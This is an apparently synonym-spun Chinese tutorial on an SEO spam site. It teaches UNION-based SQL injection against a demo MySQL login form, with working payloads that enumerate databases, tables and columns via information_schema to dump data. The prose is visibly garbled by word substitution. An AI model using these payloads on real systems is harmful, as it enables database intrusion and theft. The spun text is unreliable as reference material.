欢迎光临2号站|二号站平台-官网注册!二号站平台主管【Q:78841982】

主页 > 二号站平台 > 正文

二号站平台官网_新闻详情

www.nbwangzhan.com 2020-10-03 二号站平台
  分享到: 微信 新浪微博 QQ分享 QQ空间 豆瓣网 百度贴吧 开心网 复制网址 脸书 推特

这一篇文章怎样将MySQL数据库爆库?

上一篇【超级蜘蛛池之何谓为SQL注入?】介绍了SQL注入的基本原理和试验办法!

    假如作为一名黑客,底子无法知道体系中有哪些表,表中有哪些字段,那怎样将数据库的内容盗取出来呢?

    答案便是MySQL数据有一个元数据库,它会描绘整个MySQL服务器有哪些数据库,每个数据有哪些表,每个表有哪些字段,这就相当于把自家房子有什么宝物通通告知他人了。

     那这个元数据库就一个根,只需抓住了这依据,沿着:元数据库 -> 数据库列表->表列表->字段列表->表内容

‍‍这个树状分层的检索次序,就能够将整个数据库内容悉数盗取出来。‍‍
一、元数据库在哪

方才谈到MySQL里边有个元数据库,但它在藏在哪里呢?别急,请登录MySQL数据库,并运转show databases;指令,就能够获取一切数据库列表,如下图所示:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图



图片中标赤色的数据库information_schema便是元数据库,里边应竭尽有,能够纵情开辟处女地。

进入information_schema数据库,看看里边有哪些数据表,运用如下指令:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(1)

咱们所说的根就在‍‍SCHEMATA‍‍表,它里边描绘了整个MySQL 下一切数据库。

然后再运用TABLES表,则能够看到数据下的表名,再运用COLUMNS表,则能够看到每个表下的字段名。下面顺次展现怎样检查这些数据。



二、检查一切数据库

SCHEMATA表描绘一切数据库信息,只需规范的select句子:

SELECT * FROM information_schema.SCHEMATA

即可将该表的内容悉数显示出来:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(2)

图中SCHEMA_NAME字段为数据库名,从查询成果能够知该MySQL服务器有5个数据库。

请注意,从这儿开端不再入进入某个数据库之后再拜访表,而是选用<数据库名>.<表名>的规范格局来拜访某个数据库下的表。上述的information_schema.SCHEMATA表明查询information_schema数据库下的 SCHEMATA表。



三、检查数据表

有了数据库列表,就能够进一步检查某个数据库下一切表(当时也能够检查一切数据库下的一切表)。比方检查lyt_test数据库下的一切表,运用SQL句子:

SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = ‘lyt_test’

查询成果如下图所示:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(3)

TABLE_NAME表明表名,左列TABLE_SCHEMA为数据库名,因为lyt_test数据库下只要accounts这个表,所以输出成果只要一列。

五、检查表中的一切字段

然后运用COLUMNS表能够查询表的一切字段信息,运用下面SQL句子可查询accounts表的一切字段名和类型:

SELECT TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’

查询出accounts表一切字段和类型信息如下图所示:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(4)

六、检查表中的一切记载

检查accounts表中的内容更是小菜一碟了,学过数据库的都知道SQL写成下面这样: SELECT * FROM lyt_test.accounts

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(5)



那么怎样运用SQL注入来盗取整个数据库呢?,这便是要寻觅的支点。
还记得上篇文章介绍的试验吗?运用SQL注入技能,能够将userinfo表中的一切数据都盗取出来。但该SQL能注入的部分仅仅WHERE部分,而SELECT … FROM …部分中的字段和表名却是无法注入的,那怎样能够将其它表的数据盗取出来呢?

这个密秘就便是运用UNION句子。是的,规范SQL供给了UNION句子,能够将两个SELECT成果联合起来(即对两个SELECT成果作并集)。UNION句子的语法如下:

SELECT column_name1(s) FROM table_name1

UNION

SELECT column_name2(s) FROM table_name2

仅有的要求便是两个SELECT句子的列数要持平。

有了UNION句子,就能够将   SELECT * from userinfo WHERE … 和   SELECT * from lyt_test.accounts   两个成果联合起来。

那么在没有拿到源代码的状况,怎样知道 SELECT * from userinfo 查询成果有多少列呢?

可通过打听办法拿到这个数值:顺次注入UNION SELECT 1, … N这样的句子来打听。先测验 SELECT 1, 再SELECT 1,2, 然后SELECT 1,2,3,直到不运转犯错停止。能够先在MySQL上测验一下,成果下图所示:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(6)

从上图测验成果可知UNION后边跟的SELECT成果有必要是两列,不然会犯错。

们在注入时WHERE后是两个条件吗?(name = ‘name′ANDpasswd=′passswd ‘),在实践代码中或许会是更杂乱的条件,乃至黑客也很难猜想的条件,那这个UNION语然该插在那个变量呢?使得整个SQL仍是个合法的查询句子。

最好安全的做法是将UNION SELECT …注入到榜首个变量中,然后注入的尾部添加一个注释符号,将后的句子注释掉,就不会考虑后边的是什么句子了。在MySQL数据库,运用#符号即可完成注释。

能够做一下注入测验,验证一下:

在username文本框中输入:ivan’ union select 1,2#,如下图:



超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(7)

点login 按钮后的运转成果如下图所示:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(8)

union注入成果



请留注下红框中生成的SQL句子:

SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”

#将后边的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL句子:

SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2

select 1, 2的成果是常数行, 在后边的例中测验从表中查询数据,而不完满是常数行。

好了 ,UNION和#便是撬动爆库的那个支点



七、实践爆库

以下试验都是根据《SQL注入根底》一文开发的数据库使用demo来试验的,假如读者没有SQL注入的根底知识,主张看看这篇文章;一起主张SQL注入的初学者也按此文建立相同的数据使用demo来试验测验一把。



八、爆数据库列表

往username中注入:ivan’ union select 1,SCHEMA_NAME from information_schema.SCHEMATA #

即可查询一切数据库列表如下图:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(9)

注入获取一切数据库



      图示标赤色框的便是数据库列表。咱们在UNION SELECT …句子中榜首列为常数1,第二列是information_schema.SCHEMATA表中SCHEMA_NAME这一列,它刚好便是数据库名。



九、爆某个数据库下的一切表名

为了精减输出成果,这儿只爆lyt_test数据库下的表名,往username中注入:

ivan’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = ‘lyt_test’#

即可查询得lyt_test数据库下一切表,如下图所示:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(10)

注入获取lyt_test数据库下的表

不同的当地是lyt_test数据库下只要accounts一个表,其它与爆数据库原理相同。




十、爆某个表下一切字段

这儿只爆accounts表下的一切字段,往username中注入:

ivan’ union select 1, COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’

成果如下图所示:

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(11)

注入获取字段名



标红的是字段名。那么类型呢? 修正注入内容为:ivan’ union select 1, DATA_TYPE from information_schema.COLUMNS WHERE TABLE_NAME = ‘accounts’

就能够获取字段类型信息,如下图所示:

注入获了字段类型

超级蜘蛛池之运用SQL注入进行爆库!【进阶】插图(12)

标赤色的分别是前面两个字段的类型,即ID类型为char, balance类型为float。

从上面能够发现规则:每个注入能够获取到方针表中的每个列表数据, 假如表中有N表,注入N次能够获取完好的表信息。

总结
SQL注入爆数据库便是这么简单的,但有几个必备条件:

MySQL中呈现一个元数据库information_schema,它描绘整个MySQL服务器一切数据库->表->字段联系树

SQL言语供给了UNION句子,能够新增盗取其它数据合并到被注入SELECT成果

MySQL对SQL做扩展,供给注释符#

上一篇:  [百度推广优化]超级蜘蛛池之何谓为SQL注入?【基础】 下一篇:  [网络推广营销]教你如何让吸引蜘蛛的小技巧

TAG: 二号站主管

2号站主管Q:2347-660
热门标签